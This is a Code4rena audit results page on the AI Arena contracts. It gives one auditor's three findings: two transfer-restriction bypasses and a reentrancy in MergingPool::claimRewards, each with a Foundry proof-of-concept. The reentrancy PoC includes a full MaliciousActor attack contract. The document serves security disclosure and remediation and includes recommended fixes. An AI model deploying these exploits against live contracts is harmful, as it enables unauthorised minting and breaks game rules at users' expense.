Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 92/283
Findings: 3
Award: $64.49
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L346-L347 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L363-L364
Custom validations to determine if a fighter NFT is transferrable can be bypassed.
A user can transfer a fighter that has $NRN
staked resulting in an accidental transfer of $NRN
together with the fighter.
A user can own more than the maximum number of allowed fighters per user. For example, a user could get a fighter to an account that is under the maximum number of allowed fighters and transfer it to an account that is already at the limit.
A user can skip custom transfer validations by calling FigtherFarm::safeTransferFrom(address, address, uint256, bytes)
.
// Add this test to FigtherFarm.t.sol to run it. function testCanTransferStakedFighter() public { _mintFromMergingPool(_ownerAddress); _fighterFarmContract.addStaker(_ownerAddress); _fighterFarmContract.updateFighterStaking(0, true); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); address rand = address(1); vm.prank(_ownerAddress); _fighterFarmContract.safeTransferFrom(_ownerAddress, rand, 0, ""); assertEq(_fighterFarmContract.ownerOf(0), rand); }
Manual Review.
Override ERC721Enumerable::_beforeTokenTransfer
to also implement the custom transfer validations.
Invalid Validation
#0 - c4-pre-sort
2024-02-23T05:08:21Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:08:30Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:44:26Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L301-L302
Game Items can be transferred to other users despite being marked as not transferrable.
A malicious user can use this to bypass the battery daily allowance of 5 and gain an unfair advantage over other users. As long as the malicious user has the necessary $NRN, he can create new accounts, mint more batteries, and transfer them to his main account.
A user can bypass the transferrable check by calling ERC1155::safeBatchTransferFrom
.
//@notice copy-paste this to GameItems.t.sol to run it function testCanBypassTransferabilityRestriction() public { _gameItemsContract.createGameItem("Item", "https://ipfs.io/ipfs/", true, false, 10_000, 1 * 10 ** 18, 10); uint256 createdItemId = _gameItemsContract.uniqueTokensOutstanding() - 1; _fundUserWith4kNeuronByTreasury(_DELEGATED_ADDRESS); vm.prank(_DELEGATED_ADDRESS); _gameItemsContract.mint(createdItemId, 1); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, createdItemId), 1); address randUser = address(1); uint256[] memory ids = new uint[](1); ids[0] = createdItemId; uint256[] memory quantities = new uint[](1); quantities[0] = 1; vm.prank(_DELEGATED_ADDRESS); _gameItemsContract.safeBatchTransferFrom(_DELEGATED_ADDRESS, randUser, ids, quantities, ""); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, createdItemId), 0); assertEq(_gameItemsContract.balanceOf(randUser, createdItemId), 1); }
Manual Review.
Override ERC1155::_beforeTokenTransfer to validate if an item can be transferred.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T03:56:34Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:56:40Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:28:11Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:53:41Z
HickupHH3 marked the issue as satisfactory
π Selected for report: DarkTower
Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
64.3894 USDC - $64.39
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L149-L163
A user that has won more than one MergingPool round can reenter MergingPool::claimRewards
to claim more fighters than supposed.
For this attack to be possible, a user needs to have created a malicious contract that will reenter MergingPool::claimRewards
by abusing IERC721Receiver::onERC721Received
callback mechanism, present in FighterFarm
, which is triggered every time a new fighter is created.
To perform this attack, a user needs to:
RankedBattle::unstakeNRN
to unstake all the $NRN staked to the fighter and make it transferrable.MergingPool::pickWinner
stores the winning addresses based on who's the owner of the winning fighter at the time the function is called.MergingPool::claimRewards
and reenter the function every time IERC721Receiver::onERC721Received
is called.Here follows the code that demonstrates the vulnerability:
/// @notice copy-paste this code to MergingPool.t.sol to run it. function testCanMintMoreTokensThanRewarded() public { MaliciousActor maliciousActor = new MaliciousActor(_mergingPoolContract); _mintFromMergingPool(address(maliciousActor)); _mintFromMergingPool(_DELEGATED_ADDRESS); assertEq(_fighterFarmContract.ownerOf(0), address(maliciousActor)); assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); // winners of roundId 1 are picked _mergingPoolContract.pickWinner(_winners); // assertEq(_mergingPoolContract.getUnclaimedRewards(address(maliciousActor)), 2); maliciousActor.claimTokens(); // 4 = initial token with id 0 + 2 rewarded tokens + 1 extra token that shouldn't have been given. assertEq(_fighterFarmContract.balanceOf(address(maliciousActor)), 4); } contract MaliciousActor { MergingPool private _mergingPool; constructor(MergingPool mergingPool){ _mergingPool = mergingPool; } function claimTokens() public { uint unclaimedRewards = _mergingPool.getUnclaimedRewards(address(this)); if(unclaimedRewards > 0) { string[] memory _modelURIs = new string[](unclaimedRewards); for (uint32 i = 0; i < unclaimedRewards; i++) { _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; } string[] memory _modelTypes = new string[](unclaimedRewards); for (uint32 i = 0; i < unclaimedRewards; i++) { _modelTypes[i] = "original"; } uint256[2][] memory _customAttributes = new uint256[2][](unclaimedRewards); for (uint32 i = 0; i < unclaimedRewards; i++) { _customAttributes[i][0] = uint256(1); _customAttributes[i][1] = uint256(80); } _mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes); } } function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { this.claimTokens(); return this.onERC721Received.selector; } }
Manual Review.
Change MergingPool::claimRewards
to follow CEI and reuse MergingPool::getUnclaimedRewards
to determine how many fighters should be minted.
After the changes, the code would be similar to the following
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint32 numRewards = getUnclaimedRewards(msg.sender); numRoundsClaimed[msg.sender] += numRewards; for(uint32 i = 0; i < numRewards; i++) { _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[i], modelTypes[i], customAttributes[i] ); } if (numRewards > 0) { emit Claimed(msg.sender, numRewards); } } function getUnclaimedRewards(address claimer) public view returns(uint32) { uint256 winnersLength; uint32 numRewards = 0; uint32 lowerBound = numRoundsClaimed[claimer]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (claimer == winnerAddresses[currentRound][j]) { numRewards += 1; } } } return numRewards; }
Reentrancy
#0 - c4-pre-sort
2024-02-22T08:56:12Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:56:33Z
raymondfam marked the issue as duplicate of #37
#2 - c4-judge
2024-03-07T02:42:43Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-07T02:43:18Z
HickupHH3 marked the issue as satisfactory